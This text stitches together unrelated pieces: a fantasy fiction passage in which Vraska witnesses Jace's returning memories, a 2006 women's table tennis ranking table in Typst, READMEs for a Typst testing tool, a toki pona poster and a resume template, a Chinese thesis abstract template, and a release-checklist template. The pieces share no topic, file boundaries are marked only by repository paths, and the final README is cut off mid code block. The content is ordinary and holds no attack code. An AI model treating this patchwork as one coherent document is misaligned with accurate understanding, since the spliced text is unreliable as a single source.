"We weren't, either," the woman said in a hushed, dangerous tone.
In a moment, the game transformed, chessboard tossed on the floor, metaphorical dice on the table. She was a gambler, floating an offer for one more round, one more bet, just for the hell of it, c'mon, fellas, what's the worst that could happen.
"We're not together," the woman in violet added. "But you don't have to leave just yet."
Jace looked up from his drink and met her gaze with a hopeful look.
The woman topped up both of their glasses and lifted hers. "To new good old days," she said.
To Vraska's relief, the illusion dissolved, and the riverbed returned.
#figure(image("001_The Flood/11.jpg", width: 100%), caption: [Island | Art by Dimitar], supplement: none, numbering: none)
Vraska felt nauseated. Was there #emph[anyone ] in Jace's life who hadn't tried to take advantage of him or his talents?
She was starting to worry. The attack of reminiscence was not easing up. "Jace, I'm so sorry. I wasn't supposed to see that last one, but I'm so sorry that woman . . ."
A distant roar interrupted her. Vraska froze, alarmed by the immense noise in the distance. She stood and stared in the direction it had come from. It was most certainly a dinosaur, but of a size she did not know they could reach.
"Jace . . . we need to move."
Jace gasped in surprise, his eyes still blown out and blue with the flood of his own magic. He choked out a single word. "Vryn—"
—and a massive circular structure blinked into Vraska's view.
#figure(image("001_The Flood/12.jpg", width: 100%), caption: [Mage-Ring Network | Art by Jung Park], supplement: none, numbering: none)
This place was Vraska's kind of beautiful. A gritty frontier on the edge of civilization. She knew without a doubt that this was Jace's home plane.
#emph[Jace, I'm still seeing what you're seeing, I don't know how to help you! ] Vraska thought, desperately, hoping that Jace would be able to hear and respond telepathically.
All she felt in return from him was a projected wave of absolute despair.
Jace was entirely out of control. His older, deeper memories spilled from his mind in a difficult-to-follow torrent.
A woman's face. Her skin was peachy and flecked with freckles, her chestnut hair pulled back from her tired eyes. She was reading to her toddler from a notebook as she wandered the tiny kitchen, excitedly explaining a new healing technique while peeling vegetables for dinner. A peel fell onto the page like a bookmark.
The scene was awash with the smell of violets. The woman was lovely. Vraska didn't mind her view into this part of Jace's past—it was nice here.
The same woman appeared again, this time wrestling a shoe onto a child's foot. Her toddler was whining and kicking before he suddenly reached down to tie his own laces with clumsy hands. The mother startled, as if she had never taught him how to do that.
The flashes came more rapidly—the same woman over and over.
Putting on a coat.
Brushing her hair.
Patching the wall.
Dog-earing an anatomy textbook.
Checking under her son's bed.
Wiping away a tear.
Kissing away a bruise.
The jumble of events grew more chaotic: a man gruffly asserting that scholars belong in the #emph[cities, not here, don't be lazy boy]
the sticky spittle of a bully's taunts
a barrage of telepathic academic terms—Holmberg's Fallacy and Sissoko's Law and the Lesser and Greater Recollective Maneuvers
the realization he had been forced to forget his first planeswalk
and his second
and his third
years of training and manipulation and the violation of his mind #emph[every time he would remember what he was] —
A flash of reality—the true Jace was on the ground, his hands in his hair and his forehead pressed to the earth. He was consumed by the act of reliving, and Vraska realized in horror how many times Jace's mind had been tampered with. She saw his psychic mastery by the time he was thirteen (Vraska shivered—#emph[how the hell could he do that at ] thirteen#emph[?!] ), his fury at discovering what had been taken, his desolation as he realized how many times he had been manipulated.
Encompassing, overwhelming, dominating it all . . . was a sphinx.
#figure(image("001_The Flood/13.jpg", width: 100%), caption: [Sphinx's Tutelage | Art by Slawomir Maniak], supplement: none, numbering: none)
The world around them violently #emph[lifted ] up and above to become a rooftop at dusk.
Vraska's perception jolted, and she saw the memory through Jace's eyes.
The same huge rings from earlier repeated out and out into the distance, the sky turned an angry gray, fat raindrops fell like pellets, and the sphinx Alhammarret was crouched to attack in front of her. She sensed Jace's bruises under his tunic, felt the panicked sweat on the back of his neck despite the biting cold.
She felt Jace's past rage roil in her chest. She saw how this mentor had betrayed him, had manipulated and molded him into a tool to be used rather than a student to be taught. Vraska lost herself in the memory. She felt her mouth move with the words of a teenager. Her voice was masculine, young, just past its pubescent breaking point. "Help me find my limits. Pry the information out of me!"
The sphinx stood on his hind legs, and Vraska felt it as they dove into each other's minds.
#figure(image("001_The Flood/14.jpg", width: 100%), caption: [Clash of Wills | Art by Yan Li], supplement: none, numbering: none)
Alhammarret seemed to freeze, his mind becoming as accessible as a bookcase. Deep within his brain was an ethereal structure, its construction complex: marble lining a nearly endless well. Vraska was captivated by the strangeness of what it felt like to wield a magic so different from her own. She and the past Jace both felt the strange marble of the well of Alhammarret's mind reach to attack. In a fraction of a second, a moment of instinct, Jace reached out defensively with his own mind. His power invisibly shot forth like a like a fist#emph[, ] like a hammer, then multiplied into a battering ram, aimed all its force at the sphinx's fragile mind, and #emph[broke it] .
That strike, in Alhammarret's mind, was more ruinous than any explosion, more destructive than any earthquake, more calamitous than any meteor. What was a well of weathered marble violently collapsed against itself in a catastrophic implosion that deafened the senses.
But Jace had struck out too hungrily, too hard, and his own memories were ripped away in the process of psychic demolition.
A long droning whine yanked Jace and Vraska out of the sphinx's mind and back to the rooftop in the driving rain. The massive body of the sphinx was prone, his eyes open wide with confusion. Alhammarret manually sucked in air, pushed it out, and began to scream. It was the terrified howl of an infant. A frightened wail at a world too large and too loud and astonishingly unfamiliar.
He seemed unable to manipulate his limbs with any agency and shrieked even more, his massive wings thumping against the hard concrete of the roof. After every howl, he gasped for more air, and with each exhalation, he vocalized his terror and confusion.
The past Jace fell to his knees as his own memories locked themselves away, and grasped the sobbing sphinx's head in his hands, feeling for the broken mess of Alhammarret's mind to try to piece it together.
#emph[I did this] , she felt Jace think to himself, #strong[I did this] .
The sphinx's screaming wouldn't stop. He stared with wide unblinking eyes and continuously wailed in horror at his own existence.
Vraska shared Jace's alarm. Alhammarret had ruined him, abused him, torn his mind apart time after time, but what the sphinx was suffering now was a fate worse than death. Alhammarret deserved to perish, but no one deserved this.
In that moment, Vraska felt as Jace began to instinctively planeswalk away. Jace's own injured mind was still actively locking itself away; it was like racing through a passageway of jagged rocks, and the faster Jace tried to planeswalk away to escape, the more memory was ripped from his sides, scraped from his psyche and torn away from himself.
Gone was the face of his mother, his family, his home, his past.
All that remained was the image of the sphinx's collar, an elongated ring, open at the bottom, with a circle floating in the middle. In the fabric of the memory—the #emph[one ] memory he would be left with—Vraska realized that symbol would be the only thing that would help him preserve his name, but nothing else.
Vraska felt herself yanked up and out of the memory, violently expelled, and the illusions of the world sped by and dissipated. As fast as she had been sucked in, she was back on the rocks and mud next to the waterfall, standing in the sunshine under the spires of Orazca. The current Jace, the Jace she knew, the illusionist, pirate, and companion, was lost in grief on the riverbank.
Vraska instantly dove to the ground and scooped him into her arms.
He wept a lifetime's worth of tears.
She held him tight, and tucked his head into the crook of her neck. It was the first time she had touched another person willingly in years. The sensation was alien and alarming, but utterly necessary. Jace sobbed and sobbed into her arms, and she gripped him all the tighter. He had spent more than half of his life with no memory of his entire childhood. He had forgotten so much. He had forgotten #emph[so many times] . She held him for all the times she wished someone had held her when she was imprisoned. She hugged him close for every time she had asked for help and been hit in return. She had spent so much of her life alone and shut away, it was impossible for her to deny comfort to someone who, like her, had suffered such an immensity of hurt.
Vraska looked up and saw an illusion of herself.
The grime of the riverbank was traded for the brisk daylight of Stormwreck Sea. The gorgon had blossomed into a captain, and this Vraska was singing a Golgari folk song at the top of her lungs as her crew cleaned the ship. Everything about that moment was happy and pastel, and Vraska felt it as the past Jace tried to sing along with the strange melody.
Vraska smiled, for she remembered that moment too. She remembered being surprised he could carry a tune as well as he did.
The illusory Vraska transformed, and Vraska's hope collapsed in on itself.
The memory of Vraska became crueler, uglier, snarling and furious. Her tendrils whipped at the air, and her dress seemed to be made of shadow. The grit of Ravnica towered over them, and Vraska saw herself through Jace's eyes. It was the first time they had met. The past Vraska was pointing at Jace, but it seemed to Vraska that her past was pointing directly at her, asking for an ally lest she retaliate with violence. Vraska felt Jace's fear, sensed his trepidation and fury. He didn't know what she meant to ask. He didn't know why she had done what she did. He did not know, and when he had looked at her then, he saw her only as a killer, a beast.
Vraska felt sick. She hated seeing herself this way, like the monster the rest of the world saw when they looked at her. The gorgon in front of her was prepared to kill, and Vraska felt ashamed to see herself painted with such malice. It was all over. Jace was remembering everything, and once he was able to understand it all, he would see her as nothing but a monster, no matter how wonderful the last few months had been.
The memory vanished and the riverbank returned.
Vraska let go and backed away. Jace's convulsive tears were slowing, and fatigue was settling in. The illusions vanished. The glow of magic ceased. Jace pulled his hands away from his head and looked at the mixture of his own blood and the mud of the river that covered them.
Vraska wanted to clutch him close until he was whole again. She wanted to planeswalk to the farthest corner of the Multiverse. She wanted both to hold him and to vanish, and she froze in the process of deciding which was the better option.
Jace looked up at her, and his eyes were hopelessly red with grief.
"You saw everything," Jace remarked in an empty voice.
Vraska felt awful. "I saw what you couldn't contain."
He looked away, embarrassed. "You're an assassin," he stated as the memory settled into place.
"And a friend," she responded plainly, sadly.
Jace's awareness was distant. He may have found a way to prevent his memories from spilling out again, but he was visibly struggling to his thoughts internally. His voice remained hollow. "<NAME>. I have so few friends . . ."
Vraska's heart was aching. She didn't know what to say.
He shut his eyes, grimacing in pain. The control was back. The lid was on, and he seemed determined not to show any more emotion. Either that or he had simply cried himself out. Vraska sensed it was the latter—he looked like he had run a marathon. She decided it was best to wait for him. Vraska shrugged off her coat and wrung the river water out of it. She checked herself for bruises and sprains, then craned her neck toward the staircase that led to the city above. All the while, Jace tried to calm himself. Every now and then, he sighed with the weight of memory, but the worst seemed to have passed.
He shook his head gingerly. "It's not all back. There are gaps. I don't remember how I lost my memory, or how I got here."
"Don't pick your scabs," Vraska said quietly, realizing half a moment too late how stupid and mundane her advice sounded.
What could she say to someone who had just regained so many difficult memories?
Vraska sat, choosing a spot several paces away from Jace. The sun was warm, and she could already feel it baking away the wetness of the river from her clothes. She looked at his tattoos and recognized them for what they were. Alhammarret's collar, the symbol to which he attached his name. Even as a teenager, Jace was clever enough to mark it on his skin to ensure he would never forget it.
"I'm sorry I tried to kill you on Ravnica," she said.
Jace made a pained noise and closed his eyes, shivering through another wave of pain. "I would have listened if you had explained #emph[why] ." He shifted uncomfortably. "The people you killed to get my attention back then . . ."
"A murderer, a defiler, and a trafficker of innocents, with names that sounded like planes." She shrugged and shook her head firmly. "I don't regret their deaths, but I do regret thinking it was the only way to get you to listen to me."
"I forgive you for trying to kill me," Jace said softly and honestly in return. "You were doing what you thought was right for your people."
Neither of them could think of anything to say after that.
Vraska stood up and began to pace the riverbank. For the first time she got a good look at the newly visible city of Orazca.
The golden walls and spires reached high above even the tallest trees of the jungle, shining in the light of the sun. Vraska could make out etchings of great men and women on its sides. At the center of the city was a tower that dwarfed all the rest.
She pulled out the compass, and sure enough, its light pointed an arrow-straight line toward the tower.
#figure(image("001_The Flood/15.jpg", width: 100%), caption: [Metzali, Tower of Triumph | Art by <NAME>z], supplement: none, numbering: none)
From her vantage, she could see an endless staircase crawling from the other side of the brand-new river up to an archway above that would lead into the city.
She looked back at Jace. He was extraordinarily still, his eyes looking far away in the distance. He seemed bolted in place on the riverbank, as though he was so heavy that no amount of wind could rip him from his grief. Vraska couldn't help but stare. He had gone from child prodigy to spy to victim only to have it all forcibly exorcised from his heart and mind. He had turned, lost and afraid, to people who preyed on the lost and afraid. He had been tortured#emph[, ] ignored, manipulated, and despite it all he was, nevertheless, intact. He had survived.
He was remarkable.
"I've never known a version of myself with my memories unimpaired," Jace said, breaking his silence with weary honesty. "So many people manipulated me into hurting so many people. And sometimes I've done it of my own volition. It was so easy."
Vraska knew firsthand how easy it was.
She sat next to him.
"You have been hurt and manipulated and abused. You should have died #emph[so many times] , and despite it all you did what you had to and #emph[survived] . That is a miracle worth celebrating.#emph[" ] Vraska's expression turned serious. "Do you remember the last three months?"
Jace nodded. He smiled tightly. "It was the best three months of my life."
Vraska dared not blink, lest the spell of utter honesty between the two of them be broken. "#emph[That ] Jace is one of the best people I've ever met#emph[.] "
His glance turned into a stare. The expression in his eyes was one of disbelief. He was brilliant, sharp as a dagger and bright as a blaze, but he looked as though he did not understand how the compliment could be directed at him. As if he had already disqualified himself from being worthy of her praise.
Vraska poured truth into her words as she spoke. "The Jace I met listened to me in a way that no one ever has. Do you realize how special that is? No one has ever listened to my story, or cared that I had one in the first place." She could see the glint of sadness in his eyes as he shook his head slightly, upset on her behalf. She continued, "That Jace believed that everyone has it within themselves to reinvent who they are. #emph[That ] Jace is still in you, and I think #emph[that ] Jace is who you really are."
"That is who I would rather be," he said.
"Don't you have a say in how you turn out?"
"I want to believe I do, but how can I choose to be who you think I am when I remember how many times I've let people take advantage of me? How many people I've hurt . . ."
"No one ever chooses to be a victim," Vraska interjected. "You are not weak because you were taken advantage of. And the cruelty of what they made you do reflects on #emph[them] , not you."
"I can't help feeling foolish."
"I know. But you're not."
Jace went quiet for a moment, remembering something that (thankfully) did not spill over into Vraska's mind.
"My mother—" Jace's voice stuttered slightly, and he paused for a breath. "My mother wanted me to move to the city to be a scholar."
Vraska smiled. Her words came slowly and deliberately. "You moved to a damn good city. And you became a damn good scholar," she said, pretending not to notice him fighting back the swell of emotion that her simple affirmation had caused.
Jace kept his eyes closed. "I used to imagine my parents hated me. It made me feel better about forgetting them if I pretended they were cruel. That way, no matter what I chose to do, I never felt like I was disappointing anyone."
Vraska was struck by his honesty. "Do you feel like you disappointed her?"
He thought over his words before answering. Eventually, he looked at Vraska. "I feel . . . like I #emph[want] to make her proud."
His voice turned hopeful at the end. Happy, almost. That earnest man who could take apart a telescope and put it back together, could disguise a tall ship with his mind and fight back-to-back in a raid, who delighted in puzzles and piracy, he was there after all.
Vraska smiled. "Then I think you know exactly who you ought to be."
The golden staircase loomed overhead.
Vraska held out a hand to help Jace to his feet. She nodded toward the staircase weaving its way up the cliff to Orazca.
He took her palm in his and got up, wincing at his own headache and squeezing her hand in thanks. He looked up at the stairs.
"I wouldn't have had the strength to climb this a year ago," Jace said with a little bit of pride. "Or if I did, I probably would have passed out halfway up."
"You weren't #emph[that ] out of shape when I last saw you," Vraska teased.
"You're ignoring how often I used to use illusions to make myself look like I was in shape."
Her brows shot up. "Seriously?"
"Oh yeah," Jace acknowledged. His expression was unguarded, eyes still red from emotion, a lighthearted tilt to his lips. Unapologetically human. He grinned. "I used to be a coward."
He let #emph[Not anymore ] hang unspoken in the air between them, and Vraska caught his smile as he turned to ascend the golden staircase toward Orazca, one strong step after another.
|
|
https://github.com/ClazyChen/Table-Tennis-Rankings | https://raw.githubusercontent.com/ClazyChen/Table-Tennis-Rankings/main/history/2006/WS-06.typ | typst |
#set text(font: ("Courier New", "NSimSun"))
#figure(
caption: "Women's Singles (1 - 32)",
table(
columns: 4,
[Ranking], [Player], [Country/Region], [Rating],
[1], [ZHANG Yining], [CHN], [3019],
[2], [GUO Yue], [CHN], [2669],
[3], [GUO Yan], [CHN], [2641],
[4], [LI Xiaoxia], [CHN], [2620],
[5], [TIE Yana], [HKG], [2609],
[6], [JIANG Huajun], [HKG], [2564],
[7], [NIU Jianfeng], [CHN], [2554],
[8], [FUKUHARA Ai], [JPN], [2549],
[9], [WANG Nan], [CHN], [2544],
[10], [CAO Zhen], [CHN], [2453],
[11], [KIM Kyungah], [KOR], [2448],
[12], [LI Jiawei], [SGP], [2425],
[13], [PAVLOVICH Viktoria], [BLR], [2420],
[14], [TAN Wenling], [ITA], [2415],
[15], [BOROS Tamara], [CRO], [2412],
[16], [GANINA Svetlana], [RUS], [2401],
[17], [LIN Ling], [HKG], [2382],
[18], [LI Jiao], [NED], [2373],
[19], [FAN Ying], [CHN], [2361],
[20], [CHANG Chenchen], [CHN], [2361],
[21], [HIRANO Sayaka], [JPN], [2349],
[22], [TOTH Krisztina], [HUN], [2346],
[23], [#text(gray, "KIM Hyang Mi")], [PRK], [2346],
[24], [WU Xue], [DOM], [2346],
[25], [STEFF Mihaela], [ROU], [2344],
[26], [GRUNDISCH Carole], [FRA], [2341],
[27], [GAO Jun], [USA], [2335],
[28], [PARK Miyoung], [KOR], [2326],
[29], [WANG Yuegu], [SGP], [2314],
[30], [KIM Mi Yong], [PRK], [2300],
[31], [LAU Sui Fei], [HKG], [2293],
[32], [LEE Eunhee], [KOR], [2281],
)
)#pagebreak()
#set text(font: ("Courier New", "NSimSun"))
#figure(
caption: "Women's Singles (33 - 64)",
table(
columns: 4,
[Ranking], [Player], [Country/Region], [Rating],
[33], [#text(gray, "BAI Yang")], [CHN], [2279],
[34], [PAVLOVICH Veronika], [BLR], [2264],
[35], [ODOROVA Eva], [SVK], [2261],
[36], [KOMWONG Nanthana], [THA], [2253],
[37], [MOON Hyunjung], [KOR], [2248],
[38], [LIU Shiwen], [CHN], [2245],
[39], [JEON Hyekyung], [KOR], [2242],
[40], [KANAZAWA Saki], [JPN], [2234],
[41], [RYOM Won Ok], [PRK], [2220],
[42], [LIU Jia], [AUT], [2212],
[43], [XU Yan], [SGP], [2208],
[44], [SUN Beibei], [SGP], [2208],
[45], [BILENKO Tetyana], [UKR], [2196],
[46], [XIAN Yifang], [FRA], [2195],
[47], [KIM Bokrae], [KOR], [2194],
[48], [<NAME>], [HKG], [2190],
[49], [LI Qiangbing], [AUT], [2189],
[50], [LEE Eunsil], [KOR], [2186],
[51], [LI Nan], [CHN], [2186],
[52], [FUJINUMA Ai], [JPN], [2169],
[53], [KOTIKHINA Irina], [RUS], [2166],
[54], [FUJII Hiroko], [JPN], [2164],
[55], [STRBIKOVA Renata], [CZE], [2159],
[56], [ZAMFIR Adriana], [ROU], [2148],
[57], [SHEN Yanfei], [ESP], [2147],
[58], [STRUSE Nicole], [GER], [2146],
[59], [LANG Kristin], [GER], [2141],
[60], [PENG Luyang], [CHN], [2139],
[61], [UMEMURA Aya], [JPN], [2134],
[62], [<NAME>], [GER], [2130],
[63], [EKHOLM Matilda], [SWE], [2126],
[64], [HEINE Veronika], [AUT], [2123],
)
)#pagebreak()
#set text(font: ("Courier New", "NSimSun"))
#figure(
caption: "Women's Singles (65 - 96)",
table(
columns: 4,
[Ranking], [Player], [Country/Region], [Rating],
[65], [POTA Georgina], [HUN], [2118],
[66], [HIURA Reiko], [JPN], [2111],
[67], [MUANGSUK Anisara], [THA], [2106],
[68], [ZHANG Rui], [HKG], [2104],
[69], [STEFANOVA Nikoleta], [ITA], [2098],
[70], [LOVAS Petra], [HUN], [2091],
[71], [PASKAUSKIENE Ruta], [LTU], [2090],
[72], [KWAK Bangbang], [KOR], [2081],
[73], [LAY Jian Fang], [AUS], [2076],
[74], [PAOVIC Sandra], [CRO], [2072],
[75], [KIM Jong], [PRK], [2071],
[76], [MIROU Maria], [GRE], [2071],
[77], [FUKUOKA Haruna], [JPN], [2071],
[78], [DING Ning], [CHN], [2063],
[79], [KRAVCHENKO Marina], [ISR], [2063],
[80], [RAMIREZ Sara], [ESP], [2060],
[81], [DVORAK Galia], [ESP], [2059],
[82], [SCHOPP Jie], [GER], [2058],
[83], [XU Jie], [POL], [2038],
[84], [KREKINA Svetlana], [RUS], [2031],
[85], [<NAME>], [ROU], [2030],
[86], [<NAME>], [JPN], [2027],
[87], [<NAME>], [BUL], [2019],
[88], [<NAME>], [JPN], [2018],
[89], [<NAME>], [GER], [2017],
[90], [<NAME>], [NZL], [2015],
[91], [<NAME>], [CHN], [2015],
[92], [<NAME>], [GER], [2013],
[93], [<NAME>], [KOR], [2003],
[94], [<NAME>], [KOR], [2001],
[95], [#text(gray, "<NAME>")], [HUN], [1998],
[96], [<NAME>], [SGP], [1998],
)
)#pagebreak()
#set text(font: ("Courier New", "NSimSun"))
#figure(
caption: "Women's Singles (97 - 128)",
table(
columns: 4,
[Ranking], [Player], [Country/Region], [Rating],
[97], [ONO Shiho], [JPN], [1992],
[98], [#text(gray, "BATORFI Csilla")], [HUN], [1988],
[99], [NEVES Ana], [POR], [1985],
[100], [PAN Chun-Chu], [TPE], [1982],
[101], [KOSTROMINA Tatyana], [BLR], [1980],
[102], [BOLLMEIER Nadine], [GER], [1977],
[103], [HUANG Yi-Hua], [TPE], [1977],
[104], [BADESCU Otilia], [ROU], [1969],
[105], [KO Un Gyong], [PRK], [1962],
[106], [<NAME>], [SGP], [1958],
[107], [<NAME>], [MDA], [1958],
[108], [<NAME>], [COL], [1951],
[109], [<NAME>], [POR], [1949],
[110], [#text(gray, "<NAME>")], [HUN], [1947],
[111], [<NAME>], [TPE], [1946],
[112], [<NAME>], [HUN], [1944],
[113], [<NAME>], [GRE], [1944],
[114], [<NAME>], [RUS], [1943],
[115], [<NAME>], [KOR], [1940],
[116], [VACENOVSKA Iveta], [CZE], [1938],
[117], [#text(gray, "<NAME>")], [SWE], [1938],
[118], [<NAME>], [GER], [1937],
[119], [<NAME>], [KOR], [1937],
[120], [<NAME>], [GER], [1937],
[121], [<NAME>], [GER], [1931],
[122], [<NAME>], [IND], [1929],
[123], [#text(gray, "<NAME>")], [SRB], [1925],
[124], [WANG Yu], [ITA], [1921],
[125], [ISHIGAKI Yuka], [JPN], [1917],
[126], [<NAME>], [SWE], [1913],
[127], [LI Bin], [HUN], [1911],
[128], [KISHIDA Satoko], [JPN], [1908],
)
) |
|
https://github.com/tingerrr/typst-test | https://raw.githubusercontent.com/tingerrr/typst-test/main/docs/book/src/quickstart/install.md | markdown | MIT License | # Installation
To install `typst-test` on your PC, you must, for the time being, compile it from source.
Once `typst-test` reaches 0.1.0, this restriction will be lifted and each release will provide precompiled binaries for major operating systems (Windows, Linux and macOS).
## Installation From Source
To install `typst-test` from source, you must have a Rust toolchain (Rust **v1.79.0+**) and cargo installed.
Run the following command to install the latest nightly version
```bash
cargo install --locked --git https://github.com/tingerrr/typst-test
```
To install the latest semi stable version run
```bash
cargo install --locked --git https://github.com/tingerrr/typst-test --tag ci-semi-stable
```
## Required Libraries
### OpenSSL
OpenSSL (**v1.0.1** to **v3.x.x**) or LibreSSL (**v2.5** to **v3.7.x**) are required to allow `typst-test` to download packages from the [Typst Universe](https://typst.app/universe) package registry.
When installing from source the `vendor-openssl` feature can be used on operating systems other than Windows and macOS to statically vendor and statically link to OpenSSL, avoiding the need for it on the operating system.
<div class="warning">
This is not yet possible, but will be once [#32](https://github.com/tingerrr/typst-test/issues/32) is resolved, in the meantime OpenSSL may be linked to dynamically as a transitive dependency.
<div>
|
https://github.com/coljac/toki-pona-poster | https://raw.githubusercontent.com/coljac/toki-pona-poster/main/README.md | markdown | The Unlicense | # My poster

Typst project [here](https://typst.app/project/rotSbWKUrjSv3YlKKOlRnv)
For printing and putting on my wall.
This poster summarizes the 120 words in the core language [book](https://www.tokipona.org/), "Toki Pona: The language of Good" by Sonja Lang.
The poster is made with [Typst](https://typst.app).
Feel free to use in any way you see fit. If you'd like extra words or a different font please feel free to open an issue.
|
https://github.com/zenor0/FZU-report-typst-template | https://raw.githubusercontent.com/zenor0/FZU-report-typst-template/main/fzu-report/parts/abstract-report-fn.typ | typst | MIT License | #import "../utils/fonts.typ": 字体, 字号
#let abstract-conf(
cnabstract: none,
cnkeywords: none,
enabstract: none,
enkeywords: none,
) = {
// 摘要使用罗马字符的页码
set page(numbering: "I", number-align: center)
counter(page).update(1)
set text(font: 字体.宋体, size: 字号.小四)
set par(first-line-indent: 2em, leading: 15pt, justify: true)
show par: set block(spacing: 15pt)
// 字号为小四时, 1.5*15.6pt - 0.7em = 15pt
// 经验公式由 Typst 中文非官方交流群 A ^_^ A 给出
if not cnabstract in (none, [], "") or not cnkeywords in (none, ()) {
{
align(center)[#box()[#heading(outlined: true, bookmarked: true, level: 1, numbering: none)[摘要]]]
// heading(outlined: true, bookmarked: true, level: 1, numbering: none)[摘要]
v(1em)
cnabstract
v(1em)
// 英文
set par(first-line-indent: 0em)
if not cnkeywords in (none, ()) {
assert(type(cnkeywords) == array)
"关键词:" + cnkeywords.join(",")
}
}
}
if not enabstract in (none, [], "") or not enkeywords in (none, ()) {
{
pagebreak(weak: true)
align(center)[#box()[#heading(outlined: true, bookmarked: true, level: 1, numbering: none)[ABSTRACT]]]
// #heading(outlined: true, bookmarked: true, level: 1, numbering: none)[ABSTRACT]
v(1em)
enabstract
v(1em)
if not enkeywords in (none, ()) {
assert(type(enkeywords) == array)
"KEYWORDS: " + enkeywords.join(", ")
}
}
}
}
#abstract-conf(
cnabstract: [示例摘要],
cnkeywords: ("关键词1", "关键词2"),
enabstract: none,
enkeywords: ("Keywords1", "Keywords2"),
)
|
https://github.com/TypstApp-team/typst | https://raw.githubusercontent.com/TypstApp-team/typst/master/tests/typ/bugs/clamp-panic.typ | typst | Apache License 2.0 | #set page(height: 20pt, margin: 0pt)
#v(22pt)
#block(fill: red, width: 100%, height: 10pt, radius: 4pt)
|
https://github.com/sysu/better-thesis | https://raw.githubusercontent.com/sysu/better-thesis/main/.gitlab/merge_request_templates/release.md | markdown | MIT License | ## 发布版本
这是一个发版新版本的 Merge Request,请确认已经完成以下操作:
- [ ] 通过 `git cliff --bumped-version` 命令生成新版本号 `$BUMPED_VERSION`:
```sh
BUMPED_VERSION=$(git cliff --bumped-version)
```
- [ ] 已更新 `typst.toml` 的版本为 `$BUMPED_VERSION`, 并添加到最后的提交中:
```sh
# Powershell
# sd 'version = ".*"' "version = `"$BUMPED_VERSION`"" typst.toml
# sd 'version = "v(.*)"' 'version = "$1"' typst.toml
sd 'version = ".*"' "version = \"$BUMPED_VERSION\"" typst.toml
sd 'version = "v(.*)"' "version = \"$1\"" typst.toml
git add typst.toml
```
- [ ] 已更新 `CHANGELOG.md`:
```sh
git cliff --unreleased --tag $BUMPED_VERSION --prepend CHANGELOG.md -- --newest
git add CHANGELOG.md
```
- [ ] 提交信息符合 `chore(release): prepare for $BUMPED_VERSION`
```sh
git commit -m "chore(release): prepare for $BUMPED_VERSION"
```
- [ ] 提交带有标签,标签头 `$BUMPED_VERSION`,并且标签描述通过 `git cliff` 生成:
```sh
git cliff --bump --unreleased -- --newest > release_$BUMPED_VERSION.md
git tag "$BUMPED_VERSION" --file release_$BUMPED_VERSION.md
```
- [ ] (可选)标签是否经过 GPG 签名
|
https://github.com/SaifOwleN/resume | https://raw.githubusercontent.com/SaifOwleN/resume/master/resume.typ | typst | #import "./temp.typ": *
#show: resume.with(
author: "<NAME>-<NAME>",
position:"Software Developer " ,
location: "6th of October, Giza",
contacts: (
[#link("mailto:<EMAIL>")[Email]],
[#link("https://saifowlen.github.io/Portfolio/")[Website]],
[#link("https://github.com/saifowlen")[GitHub]],
[#link("https://linkedin.com/in/saifowlen")[LinkedIn]],
),
)
= Education
#edu(
institution: "Cairo University",
date: "2026",
location: "Giza, Egypt",
gpa: "3.4",
degrees: (
(
"Bachelor's of Computer and Artificial Intelligence",
"Computer Science"
),
),
)
= Skills
#skills((
("Languages", (
[C++],
[Rust],
[Go],
[JavaScript],
[TypeScript],
)),
("Frameworks and Libraries", (
[Node.js],
[React.js],
[Express.js],
)),
("Tools", (
[Git],
[Linux/Unix],
)),
("Hobbies", (
[Coding],
[Reading],
[Gaming],
[Cooking]
))
))
|
|
https://github.com/DieracDelta/presentations | https://raw.githubusercontent.com/DieracDelta/presentations/master/07_12_24/main.typ | typst | #import "polylux/polylux.typ": *
#import themes.metropolis: *
#import "common.typ": *
#show: metropolis-theme.with(
footer: [#logic.logical-slide.display() / #utils.last-slide-number]
)
#set text(font: font, weight: wt, size: 25pt)
#show math.equation: set text(font: "Fira Math")
#set strong(delta: 100)
#set par(justify: true)
#title-slide(
author: [<NAME>],
title: "Slides - 7/12",
)
#slide(title: "Table of contents")[
#metropolis-outline
]
#new-section-slide([Pitch])
#slide(title: "Problem Statement")[
- Large amount of legacy C code
- C is not memory safe. 70% of MSFT bugs are memory safety bugs.
- Goal: *maintain legacy codebase in a closer to memory safe language*
- Rust
]
#slide(title: "Existing work" )[
- FFI with C code is (1) difficult to maintain and (2) clunky
- C2Rust has limitations
- Output code "probably" works on a 3 year old Rust compiler
- Build: hacky python scripts
- Doesn't handle edge cases
- Syntactic bugs
- UB
- Compiles to nightly Rust
]
#slide(title: "Existing work")[
- Existing unsafe -> safe lifting literature does not show lifting from unsafe to safe code is correct
- CrustS
- Crown
- Translating C to safer Rust
#figure(
image("./pres_image.png")
)
]
#slide(title: "Why is this interesting?")[
- Rust mainstreams novel ideas to systems programming
- lifetime and ownership semantics
- XOR mutability, interior mutability
- "unsafe" vs "safe"
- Formalization of Rust is relatively unexplored:
- Rust specification does not exist
- Existing work incomplete: minirust, rustbelt, ferrous
- High impact: Rust used extensively in industry
]
#slide(title: "Vision of our tool" )[
- Compile C to Rust
- Improve on C2Rust flaws
- Guarantee that Rust code matches or improves on behavior of C code
- Provide formalization of lifting literature
]
#new-section-slide([Implementation])
#slide(title: "High Level View")[
- CFRust: C "friendly" Rust IR. No lifetime or pointer reasoning. Handles control flow differences and types
- RustLight: bare minimum IR representing Rust subset that include lifetimes, ownership, and Rust-like pointers (\*const, \*mut, &)
- RustSafe: introduce all Rust pointer types, lifting passes would happen here
]
#slide(title: "Current progress")[
- Three moving pieces:
- CFRust IR
- Translation Clight -> CFRustIR
- Extraction
]
#new-section-slide([Plan])
#slide(title: "Within the next month")[
- Finalize CFRust IR/translation next week
- Test translation with identified edge cases
- examples that C2Rust cannot handle
- RustLight IR, translation, semantics, extraction
]
#slide(title: "Questions")[
- Should I rebase to nominal compcert?
- Handling of pointer rules + ownership
]
|
|
https://github.com/QijingLi/resume-template-in-typst | https://raw.githubusercontent.com/QijingLi/resume-template-in-typst/main/README.md | markdown | MIT License | ## Typst template for multi-page resume
[Typst](https://github.com/typst/typst?tab=readme-ov-file#example) is as
easy to use as Markdown and as powerful as LaTeX.
Built it with [Bare-bones Typst CV](https://github.com/caffeinatedgaze/bare-bones-cv)
as a baseline and edited heavily to fit my needs.
This template was designed for multiple pages.
*Example:*
| | |
| ---------------------- | ---------------------- |
| | |
Just need to edit the file `content.yaml` with your own info, skills, education,
work experieces if you're happy with the template. Then
## Install typst
On macOS:
```shell
brew install typst
```
Check out [Installation](https://github.com/typst/typst?tab=readme-ov-file#installation)
for other OS
## Usage
```shell
typst compile resume.typ --open
```
it will generate resume.pdf and open it using default pdf viewer in your system
Watch source files and recompiles on changes.
```shell
